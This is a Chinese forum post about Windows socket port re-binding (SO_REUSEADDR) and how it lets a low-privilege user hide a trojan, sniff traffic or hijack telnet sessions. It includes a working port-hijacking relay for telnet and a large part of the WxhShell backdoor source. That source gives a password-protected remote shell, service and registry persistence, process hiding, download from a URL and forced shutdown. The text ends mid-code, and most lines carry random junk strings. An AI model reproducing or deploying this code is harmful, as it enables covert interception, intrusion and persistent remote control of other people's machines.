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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8=o(nFJw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2,Dc]oj  
/"{ ,m!  
  saddr.sin_family = AF_INET; EF=D}"E6pO  
: RO:k|g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bNU^tL3QZ  
,UZE;lXJ'Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~+nSI-L  
*3 8Y;{ 4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |#jm=rT0y  
-*l[:5m  
  这意味着什么?意味着可以进行如下的攻击: y8S6ZtA}2  
q<uLBaL_]r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <~X6D?  
+<WT$ddK=5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KR(ftG'  
t8N9/DZ}Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1p<?S}zg@  
:tG".z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K y2xWd8  
gq1Y]t|4F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1WN93 SQ=  
LHz<=]?@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W}_}<rlF  
{-`OE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /)4r2x  
)t ch>.EQ_  
  #include i4r~eneP  
  #include ^JDV4>S\  
  #include ]b| @<E7Y  
  #include    5o ^=~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c qyh#uWe  
  int main() [ =2In;  
  { Du4#\OK  
  WORD wVersionRequested; FN`kSTm*0!  
  DWORD ret; <sB45sNbU`  
  WSADATA wsaData; qAik$.  
  BOOL val; &.4_4"l(  
  SOCKADDR_IN saddr; CHw_?#h  
  SOCKADDR_IN scaddr; 7 ~8Fs@  
  int err; %9Fg1LH42r  
  SOCKET s; X*"O'XCA  
  SOCKET sc; X(z-?6N4  
  int caddsize; OBSJbDqT  
  HANDLE mt; 6yM dl~.  
  DWORD tid;   ~(]DNXB8I`  
  wVersionRequested = MAKEWORD( 2, 2 ); N,Bs% p#1  
  err = WSAStartup( wVersionRequested, &wsaData ); \^LR5S&  
  if ( err != 0 ) { {/!Gh\i  
  printf("error!WSAStartup failed!\n"); HZ=yfJs nc  
  return -1; g|_*(=Q  
  } *bSG48W("  
  saddr.sin_family = AF_INET; ~At.V+  
   ppP?1Il`kb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "TJ^Z!  
P`9A?aG.Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {Dq51  
  saddr.sin_port = htons(23); 6l7a9IJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bLF0MVLM  
  { v[3sg2.  
  printf("error!socket failed!\n"); bQjHQ"G  
  return -1; 3*JybMo"  
  } C$gLi8|m  
  val = TRUE; 0^Cx`xdX:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S c Kfr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @cGql=t  
  { bM3e7olWS  
  printf("error!setsockopt failed!\n"); S]g)^f'a65  
  return -1; 4O^1gw  
  } Oh4WYDyT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F[Sat;Sll  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7Z3qaXPH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,SwaDWNO  
dD<kNa}2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IpmREl $j  
  { W%cPX0  
  ret=GetLastError(); !{ lb#  
  printf("error!bind failed!\n"); !:{_<C"D  
  return -1; x&Rp m<4  
  }  N&.p\T&t  
  listen(s,2); ;f~'7RKy!G  
  while(1) +]vl8, 4@  
  { u;g}N'"  
  caddsize = sizeof(scaddr); [rsAY&.  
  //接受连接请求 )~(_[='  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HI 61rXNF  
  if(sc!=INVALID_SOCKET) iNSJOS  
  { V'/%)oU\"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \0*LfVr;P  
  if(mt==NULL) rRel\8  
  { Y%@'a~  
  printf("Thread Creat Failed!\n"); \YS\* 'F  
  break; $7YLU{0  
  } a$8?0` (  
  } ,-kZ5&r  
  CloseHandle(mt); /WVMT]T6^,  
  } t%@ pyK  
  closesocket(s); rzLl M  
  WSACleanup(); mJ7kOQ-.$  
  return 0; c= u ORt>  
  }   heA\6W:u&  
  DWORD WINAPI ClientThread(LPVOID lpParam) )wd~639U  
  { R FiR)G ,  
  SOCKET ss = (SOCKET)lpParam; |-D.  
  SOCKET sc; S~Q";C[&  
  unsigned char buf[4096]; 7RJW  
  SOCKADDR_IN saddr; IA `  
  long num; b@hoH)<9E  
  DWORD val; D I[Ee?  
  DWORD ret; 'L/TaP/3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DlI|~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +Wc[ $,vk  
  saddr.sin_family = AF_INET; Rby7X*.-v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bxq`E!]  
  saddr.sin_port = htons(23); %C<eR_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UUq9UV-h  
  { yr'`~[oSCy  
  printf("error!socket failed!\n"); e: tp7w 4  
  return -1; :9Pqy pd+  
  } ?M2@[w8_  
  val = 100; }kDrUnBk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sx\7Z#|  
  { 04t_  
  ret = GetLastError(); u 36;;z  
  return -1; S\m]ze  
  } 9h8G2J o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =fPO0Ot;  
  { (%Rs&/vU~  
  ret = GetLastError(); ,<7f5qg "'  
  return -1; 3Y8 V?* 1|  
  } I<U 1V<g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?}>tfDu'  
  { psVRdluS   
  printf("error!socket connect failed!\n"); v5o%y:~  
  closesocket(sc); l-rnDl  
  closesocket(ss); VrK5a9*^  
  return -1; I_rVeMw=  
  } _?"J.i  
  while(1) yrX]w3kr%  
  { {PKER$C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hCgNS1%4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .^23qCs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;D:v@I$I  
  num = recv(ss,buf,4096,0); nj  
  if(num>0) 4]GyuY  
  send(sc,buf,num,0); KVCS(oN  
  else if(num==0) "x11 YM{F  
  break; $&!U&uMt  
  num = recv(sc,buf,4096,0); Tp7?:YY|  
  if(num>0) ra1hdf0"  
  send(ss,buf,num,0); W=*\4B]  
  else if(num==0) ^BZdR<;  
  break; sMx\WTyz  
  } "`k[ 4C  
  closesocket(ss); YS*t7  
  closesocket(sc); ]nh)FMo  
  return 0 ; uRIr,U^  
  } ]+8,@%="  
@ h]H_  
809-p_)B  
========================================================== kAoai|m@R  
R/W&~t  
下边附上一个代码,,WXhSHELL q3:tZoeXV  
!`gg$9  
========================================================== ` T!O )5  
;#due  
#include "stdafx.h" |*b8-a8<  
lQzrf"N'  
#include <stdio.h> 62"ND+D4  
#include <string.h> @."R9s  
#include <windows.h> /%)J+K)  
#include <winsock2.h> rZEu@63  
#include <winsvc.h> xM:dFS  
#include <urlmon.h> .1@5*xQ5O  
KR*/yeG!E  
#pragma comment (lib, "Ws2_32.lib") e/6oC~#]  
#pragma comment (lib, "urlmon.lib") 3-05y!vbcE  
+vP1DXtj(  
#define MAX_USER   100 // 最大客户端连接数 w%ForDB>P  
#define BUF_SOCK   200 // sock buffer D+V^nCcx%  
#define KEY_BUFF   255 // 输入 buffer O  tr@jgw  
]q j%6tz  
#define REBOOT     0   // 重启 L2$%h1  
#define SHUTDOWN   1   // 关机 E=y#~W  
M@8(h=  
#define DEF_PORT   5000 // 监听端口 }Y[.h=X  
6=   
#define REG_LEN     16   // 注册表键长度 Q|>y2g!  
#define SVC_LEN     80   // NT服务名长度 D"MNlm  
=k'dbcfO$9  
// 从dll定义API mXr)lA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &zZSWNW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^%L$$V nG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3eB2= _V`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (8I0%n}.Zo  
<1y%ch;  
// wxhshell配置信息 UX?_IgJh<"  
struct WSCFG { Ul=`]@]]  
  int ws_port;         // 监听端口 Abl=Ev  
  char ws_passstr[REG_LEN]; // 口令 B 5?(gb"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]OVjq ?  
  char ws_regname[REG_LEN]; // 注册表键名 by {~gu  
  char ws_svcname[REG_LEN]; // 服务名 \rpu=*gt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $j:0*Z=>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JwO+Dd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m*'#`vIbb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %63<Iz"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [\!S-:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {E9Y)Z9  
/<})+=>6f  
}; FUDM aI  
qG;WX n  
// default Wxhshell configuration  -x7L8Wj  
struct WSCFG wscfg={DEF_PORT, e1H.2n{y^  
    "xuhuanlingzhe", K= 69z  
    1, ~"-wSAm  
    "Wxhshell", !} 1p:@  
    "Wxhshell", qRU8uu   
            "WxhShell Service", {M=tw  
    "Wrsky Windows CmdShell Service", {f!mm3'2v  
    "Please Input Your Password: ", mBNa;6w?{*  
  1, 3y@'p(}Az  
  "http://www.wrsky.com/wxhshell.exe", )b =$!  
  "Wxhshell.exe" W?$ ImW  
    }; `:8&m  
?.T=(-  
// 消息定义模块 V3jx{BXs2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A81kb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xTe?*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p~r +2(J  
char *msg_ws_ext="\n\rExit."; pd|c7D!6U,  
char *msg_ws_end="\n\rQuit."; Bp}<H<@  
char *msg_ws_boot="\n\rReboot..."; "8-]6p3u  
char *msg_ws_poff="\n\rShutdown..."; a9"Gg}h\  
char *msg_ws_down="\n\rSave to "; bC&_OU:  
_+UD>u{  
char *msg_ws_err="\n\rErr!"; l_8t[  
char *msg_ws_ok="\n\rOK!"; s?=J#WV1y  
_h5@3>b3r  
char ExeFile[MAX_PATH]; 5!AzEB  
int nUser = 0; 3&}wfK]X  
HANDLE handles[MAX_USER]; /_LUys/0  
int OsIsNt; 7c+u+Yet  
%3q@\:s  
SERVICE_STATUS       serviceStatus; 5SDHZ?h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j"c"sF\q  
r`" ?K]rI  
// 函数声明 U'@_fg  
int Install(void); d=xweU<  
int Uninstall(void); QutQG  
int DownloadFile(char *sURL, SOCKET wsh); ^*iZN =\  
int Boot(int flag); Qd@`jwjS  
void HideProc(void); L%<1cE))  
int GetOsVer(void); (ttO O45  
int Wxhshell(SOCKET wsl); Chjth"  
void TalkWithClient(void *cs); I@[.W!w  
int CmdShell(SOCKET sock); -0>@jfP^D  
int StartFromService(void); hG3b7!^#g  
int StartWxhshell(LPSTR lpCmdLine); ]e+S~me  
{4#'`Eejj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WhvO-WF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `/#6k>  
E9 |i:  
// 数据结构和表定义 x5{ zGv.j  
SERVICE_TABLE_ENTRY DispatchTable[] = Yh4e\]ql~N  
{ %GAEZH,2sG  
{wscfg.ws_svcname, NTServiceMain}, n2$*Z6.G  
{NULL, NULL} >V NMQ  
}; Wvcj\2'yd  
R,tR{| 8  
// 自我安装 wWwY .}j  
int Install(void) 3C.bzw^  
{ P_w+p"@m  
  char svExeFile[MAX_PATH]; f4uK_{  
  HKEY key; K^9!Qp  
  strcpy(svExeFile,ExeFile); p7 |~x@q+  
:U?Kwv8s  
// 如果是win9x系统,修改注册表设为自启动 Pg5 1}{  
if(!OsIsNt) { m%m8002  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lB,.TK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M@ mCBcbN  
  RegCloseKey(key); Ww@R ewo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IX-ir  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VTD'D+ t  
  RegCloseKey(key); :eDwkzlHH  
  return 0; H+-9R  
    } pi+m`O   
  } BLfoU_Z  
} =`g+3 O;<  
else { n;4` IK|  
c^I_~OwaE  
// 如果是NT以上系统,安装为系统服务 =eYrz@,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aA=qel  
if (schSCManager!=0) "]`!#5j^WP  
{ ?/NxZ\  
  SC_HANDLE schService = CreateService '%kk&&3'  
  ( w,D(zk$   
  schSCManager, ;Cm%<vW4!  
  wscfg.ws_svcname, }F**!%4d  
  wscfg.ws_svcdisp, _aq3G9C_  
  SERVICE_ALL_ACCESS, sJ!AI n<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /O+,vRw\A  
  SERVICE_AUTO_START, ><5tnBP|+L  
  SERVICE_ERROR_NORMAL, 1[/X$DyaK  
  svExeFile, "w=.2A:q  
  NULL, 7 zK%CJ  
  NULL, ~- JkuRJ\  
  NULL, 6wfCC,2  
  NULL, i9uJ%nd:  
  NULL |no '^  
  ); *cJ GrLC  
  if (schService!=0) HLa|yc B%  
  { <[kdF")  
  CloseServiceHandle(schService); rs'~' Y  
  CloseServiceHandle(schSCManager); IC37f[Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r `VKb  
  strcat(svExeFile,wscfg.ws_svcname); ,H\EPmNHK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ !ka8) ~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z`5d,M  
  RegCloseKey(key); nO2-fW:9]  
  return 0; V6Z2!Ht  
    } C%0|o/Wi  
  } <e)3 j6F!  
  CloseServiceHandle(schSCManager); &p`RKD  
} O$LvHv!  
} [@_}BZk  
6 O!&!  
return 1; 8E ^yHd4Y  
} /c8F]fkZ=  
T)qD}hl  
// 自我卸载 ~~]L!P  
int Uninstall(void) &Nt4dp`qj  
{ Zm^4p{I%o*  
  HKEY key; 8ZE{GX.m2c  
S~/zBFo-  
if(!OsIsNt) { 2VA\{M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { St^s"A  
  RegDeleteValue(key,wscfg.ws_regname); (s z=IB ;  
  RegCloseKey(key); F2:?lmhL<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H~e;S#3_v  
  RegDeleteValue(key,wscfg.ws_regname); Y }aa6  
  RegCloseKey(key); :"|}oKT%mP  
  return 0; V)oUSHillH  
  } 98x]x:mgI_  
} ?`3` azfM  
} m = "N4!  
else { f)~urGazS  
;*[nZV>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1Y_Cd  
if (schSCManager!=0) -tlRe12  
{ KAT4C 4=,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bT2b)nf  
  if (schService!=0) 2r^|  
  { lrPiaSO`I  
  if(DeleteService(schService)!=0) { ^?VYE26  
  CloseServiceHandle(schService); :)SLi  
  CloseServiceHandle(schSCManager); 0j F~cV  
  return 0; 5VDqx@(  
  } pc J5UJY  
  CloseServiceHandle(schService); pZ}4'GnZI  
  } eR4%4gW)  
  CloseServiceHandle(schSCManager); }PTYNidlR  
} RHZ5f0b4L  
} ML^c-xY(  
T XWi5f[  
return 1; a2 e-Q({  
} uhz:G~x!  
b)tvXiO1>  
// 从指定url下载文件 3i/$YX5@  
int DownloadFile(char *sURL, SOCKET wsh) y'(l]F1]  
{ PF+v[h;,  
  HRESULT hr; " qY Pi  
char seps[]= "/"; l\vtz5L  
char *token; Py3Xvudv  
char *file; A]id*RtY  
char myURL[MAX_PATH]; *tC]Z&5  
char myFILE[MAX_PATH]; ]L@VpHEj  
-^`]tF`M  
strcpy(myURL,sURL); ]cdKd)  
  token=strtok(myURL,seps); o$8v8="p  
  while(token!=NULL) :UGc6  
  { &'uFy0d,  
    file=token; Pwn"!pk  
  token=strtok(NULL,seps); 5*l~7R  
  } (,#Rj$W  
vr+O)/P})  
GetCurrentDirectory(MAX_PATH,myFILE); nw){}g  
strcat(myFILE, "\\"); BWamF{\d1a  
strcat(myFILE, file); O]o `! c  
  send(wsh,myFILE,strlen(myFILE),0); B{^o}:e  
send(wsh,"...",3,0); `j{q$Y=AG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uO%G,b  
  if(hr==S_OK) \$n?J(N  
return 0; YKk?BQ"  
else ;cgc\xm>  
return 1; @0S3`[/U  
S\RjP*H*  
} ~3< Li}W  
{p&L wTnf  
// 系统电源模块  ^AS*X2y  
int Boot(int flag) UT|FV twO  
{ #05#@v8.f  
  HANDLE hToken; 0*o)k6?q3  
  TOKEN_PRIVILEGES tkp; ]PJb 9$f2  
k\W%^Z  
  if(OsIsNt) { JY8wo5H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .]}kOw:(#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {1,]8!HBJ  
    tkp.PrivilegeCount = 1; !VUxy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AQ:cim `  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $R4[TQY).!  
if(flag==REBOOT) { He^u+N@B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;$gZ?&  
  return 0; 0vbiq  
} u;rK.3o  
else { uKHkC.g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GP6-5Y"8  
  return 0; E~Eh'>Y(B  
} +Bk" khH  
  } |d\ rCq >  
  else { l ps 6lnh  
if(flag==REBOOT) { {Hxvt~P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O&YX V  
  return 0; H. UwM  
}  W|XTa  
else { E#?*6/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \,| Xz|?C  
  return 0; >tTNvb5  
} G?e"A0,  
} hyqsMkW|  
!m)P*Lw  
return 1; 22lC^)`TE  
} SZW+<X  
M il ![A1  
// win9x进程隐藏模块 +Gv{Apd"  
void HideProc(void) ,b!!h]t  
{ &(a#I]`9M  
+^1E0@b%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6yEYX'_  
  if ( hKernel != NULL ) 7DaMuh~<  
  { tr3Rn :0]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6) {jHnk)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AW3\>WC  
    FreeLibrary(hKernel); QB p`r#{I{  
  } v).V&":  
PF5;2  
return; pJ kaP  
} &iCE/  
vM@2C'  
// 获取操作系统版本 U%oh ?g  
int GetOsVer(void) ~^jdiy5  
{ .1R:YNx{/  
  OSVERSIONINFO winfo; _q*4+x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Du@?j7&l=$  
  GetVersionEx(&winfo); :l<)p;\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r_/=iYYJ  
  return 1; _hT-5)1r  
  else -+fbK/  
  return 0; ]l\'1-/  
} # LRN@?P  
~xI1@^ r  
// 客户端句柄模块 M =Pn8<h~  
int Wxhshell(SOCKET wsl) \z"0lAv"  
{ 8`Wj 1 ,q  
  SOCKET wsh; V?"X0>]0  
  struct sockaddr_in client; v"'Co6fw  
  DWORD myID; m>dZ n  
t<S]YA~N'  
  while(nUser<MAX_USER) W'2T7ha Es  
{ za{z2# aJ  
  int nSize=sizeof(client); Us4J[MW<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 34S|[PX d  
  if(wsh==INVALID_SOCKET) return 1; 7-a[W   
Ckd=tvL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x;A"S  
if(handles[nUser]==0) gD&/ k  
  closesocket(wsh); E#3KWp#M  
else ]iu}5]?)  
  nUser++; g$C-G5/bjD  
  } D5]4(]k&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F\&Sn1>k  
.Cv0Ze  
  return 0; S;a'@5  
} K"~Tk`[0Q  
_ 4:@+{  
// 关闭 socket QP/6N9/  
void CloseIt(SOCKET wsh) [^wEKRt&  
{ _hP siZY9  
closesocket(wsh); N[e QT  
nUser--; cBICG",TA  
ExitThread(0); H:9Z.|{Gv  
} "-aak )7w  
JNhHQvi\  
// 客户端请求句柄 HU[a b  
void TalkWithClient(void *cs) 0Y rdu,c  
{ RiHOX&-7  
/*g9drwaa  
  SOCKET wsh=(SOCKET)cs; ~"\qX+  
  char pwd[SVC_LEN]; 08)X:@ w?  
  char cmd[KEY_BUFF]; mmk]Doy?#  
char chr[1]; [Xp{z tGE  
int i,j; %7tQam  
l5sBDiir%  
  while (nUser < MAX_USER) { z{h#l!Edh  
`J*~B  
if(wscfg.ws_passstr) { L<'8#J[_5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OO%< ~H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hx;ij?  
  //ZeroMemory(pwd,KEY_BUFF); gucd]VH  
      i=0; VAkZ@ u3'~  
  while(i<SVC_LEN) { u`E24~  
YTBZklM  
  // 设置超时 'qD5  
  fd_set FdRead; Cj).  
  struct timeval TimeOut; cd8ZZ 8L  
  FD_ZERO(&FdRead); Qd~M;L O"i  
  FD_SET(wsh,&FdRead); e">$[IhXtV  
  TimeOut.tv_sec=8; M%=V vE.I  
  TimeOut.tv_usec=0; oK3uGPi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C)^FRnb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :uM2cc^  
vCC}IDd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <^:e)W  
  pwd=chr[0]; g=eYl_P6  
  if(chr[0]==0xd || chr[0]==0xa) { NOOP_:(7H  
  pwd=0; :,.g_@wvG  
  break;  =[Lo9Sg  
  } $lkd9r1   
  i++; x;H#-^LxW=  
    } )h(Dt(2Wm  
}7k!>+eQ  
  // 如果是非法用户,关闭 socket F\m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a`}b'X:  
} y/' ^r?  
-9BKa~ DVQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m9*Lo[EXO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \EH:FM}l,  
u3{gX{so  
while(1) { H^jFvAI,8  
(s?`*i:2  
  ZeroMemory(cmd,KEY_BUFF); EZvB#cuL-  
X]'Hz@$N  
      // 自动支持客户端 telnet标准   BKoc;20;  
  j=0; 1FfdW>ay*  
  while(j<KEY_BUFF) { $V"NB`T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _!FM^N}|  
  cmd[j]=chr[0]; TmS;ybsG  
  if(chr[0]==0xa || chr[0]==0xd) { aQax85  
  cmd[j]=0; 7mulNq  
  break; x<) %Gs}tb  
  } S312h'K j  
  j++; ,#^<0u+zrF  
    } N*t91 X  
Sz0M8fYT]  
  // 下载文件 [BS3y`c  
  if(strstr(cmd,"http://")) { y^; =+Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (]'Q!MjGa  
  if(DownloadFile(cmd,wsh)) ]+\@_1<ZI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /BWJ)6#H  
  else MWSx8R)PN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?f+w:FO  
  } Peha{]U  
  else { U_a)g X  
8kZ ~  
    switch(cmd[0]) { v4L#^Jw(^p  
  j=v1:E  
  // 帮助 .8is! TT  
  case '?': { o l 67x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1jZ:@M :  
    break; rI&GM |  
  } e_J_rx  
  // 安装 7^k`:Z  
  case 'i': { cmDskQ:  
    if(Install()) E-,74B&H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A.9,p  
    else W>b(hVBE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qB3{65  
    break; fFXG;Q8&  
    } x&3!z[m@@  
  // 卸载 {]ZZ]  
  case 'r': { `n8) o%E9  
    if(Uninstall()) 8$avPD3jx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <i'4EnO  
    else bAeN>~WvY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SsjO1F  
    break; -B2>~#L  
    } cOUsbxYTD  
  // 显示 wxhshell 所在路径 fys@%PZq  
  case 'p': { qs6yEuh#  
    char svExeFile[MAX_PATH]; <!:,(V>F(C  
    strcpy(svExeFile,"\n\r"); z602(mxGg  
      strcat(svExeFile,ExeFile); JH2?^h|{  
        send(wsh,svExeFile,strlen(svExeFile),0); c L*D_)?8  
    break; p7(xk6W  
    } =Mq=\T  
  // 重启 (]0$^!YK  
  case 'b': { R!xs;|]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )!MeSWGq  
    if(Boot(REBOOT)) L@?Dmn'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HZ=Dd4!  
    else { 8?W!U*0aS  
    closesocket(wsh); ]}9cOb%I  
    ExitThread(0); );$Uf!v4  
    } '{kNXCnZ  
    break; ]+[ NX)=  
    } P ]2M  
  // 关机 "ffwh  
  case 'd': { E66e4?"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w5jH#ja  
